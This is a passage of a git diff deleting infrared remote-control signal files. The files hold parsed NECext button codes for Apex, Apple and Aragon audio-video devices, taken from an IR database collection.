-command: 01 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4A 00 00 00 -# -name: pin -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: tvmode -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 56 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir deleted file mode 100644 index 4d0d786e4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: program -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: kodak.te -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: p/n -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: aff -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: skip.rev -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: i/p -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4E 00 00 00 -# -name: skip.fwd -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir deleted file mode 100644 index f2d9364e6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 01 00 00 00 -# -name: PLAY_/_PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: PLAY/PAUSE_EXTENDED -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: SELECT_(PLAY/PAUSE) -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: RIGHT_(NEXT/FF) -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: LEFT_(PREV/REW) -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: UP_(+) -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 -# -name: DOWN_(-) -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 2E 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir deleted file mode 100644 index be63073e9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Computer/238,135.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 01 00 00 00 -# -name: MENY/EXIT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: PLAY/PAUSE/OK -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: PLAY_PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: >>_NEXT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: GER/SKIP_FWD -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: <<_PREVIOUS -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: NSTER/SKIP_REV -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: PIL_UPP/+ -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 -# -name: PIL_NER/- -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir deleted file mode 100644 index 5aa6c2aa4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Digital Jukebox/238,135.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir deleted file mode 100644 index 3a00b59a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/1,222.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: >>_NEXT_TRACK -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 03 00 00 00 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 03 00 00 00 -# -name: VOL+_VOLUME_DOWN -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 07 00 00 00 -# -name: <<_PREV_TRACK -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0B 00 00 00 -# -name: PREVIOUS_TRACK -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0B 00 00 00 -# -name: NEXT_CHAPTER -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0C 00 00 00 -# -name: PREV_CHAPTER -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0E 00 00 00 -# -name: PLAY/RESUME -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 10 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 11 00 00 00 -# -name: NEXT_PLAYLIST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 14 00 00 00 -# -name: PREVIOUS_PLAYLIST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 15 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 16 00 00 00 -# -name: VOL-_VOLUME_UP -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 17 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 18 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1B 00 00 00 -# -name: >II_PLAY/PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir deleted file mode 100644 index e8cf53d01..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/MP3 Player/238,135.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: >>_NEXT -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: TRACK_FWD -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: <<_PREVIOUS -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: TRACK_RWD -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir deleted file mode 100644 index b27553988..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Unknown_CD/14,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 09 00 00 00 -# -name: shuffle -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 21 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 24 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 29 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: ams -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2B 00 00 00 -# -name: rev.play -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3A 00 00 00 -# -name: rotate_left -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 41 00 00 00 -# -name: rotate_right -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 42 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 51 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 56 00 00 00 -# -name: frame -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 61 00 00 00 -# -name: fts/fps -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 6C 00 00 00 -# -name: autoplay -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 78 00 00 00 -# -name: insert -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 79 00 00 00 -# -name: full -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 7D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 7E 00 00 00 -# -name: normal -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir deleted file mode 100644 index 9e6a16f5b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/iPod/238,135.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 01 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 02 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 03 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 04 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 05 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: EE 87 00 00 -command: 06 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir deleted file mode 100644 index 69c096223..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/25,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: << -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: DTS_MODE:_MOVIE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: DTS_MODE:_MUSIC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: EXIT_SETUP_MENU -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: PL:_DIMENSION_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: PL:_DIMENSION_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: DD:_COMPR:_LOW -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 19 00 00 00 -# -name: DD:_COMPR:_MEDIUM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 -# -name: DD:_COMPR:_OFF -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1C 00 00 00 -# -name: DD:_COMPR:_NIGHT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1D 00 00 00 -# -name: DISPLAY_ON -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1F 00 00 00 -# -name: LIGHT_ON -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: LIGHT_OFF -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: LIGHT_DIM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 22 00 00 00 -# -name: THX:_ASA_MODE:MUSIC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 24 00 00 00 -# -name: THX:_ASA_MODE:OFF -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 25 00 00 00 -# -name: THX:_EX_MODE:_ON -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 26 00 00 00 -# -name: THX:_EX_MODE:_OFF -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 27 00 00 00 -# -name: THX:_EX_MODE:_AUTO -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 28 00 00 00 -# -name: THX:_ASA_MODE:CINEMA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir deleted file mode 100644 index 60a0eff5c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aragon/Pre-Amplifier/31,-1.ir +++ /dev/null @@ -1,458 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ANALOG -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 01 00 00 00 -# -name: DTS_NEO -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 02 00 00 00 -# -name: CLUB -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 03 00 00 00 -# -name: INPUT_GAIN_+ -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 04 00 00 00 -# -name: 5_CH_STEREO -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 05 00 00 00 -# -name: PARTY -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 06 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 07 00 00 00 -# -name: INPUT_GAIN_- -type: parsed -protocol: NECext -address: 1F 00 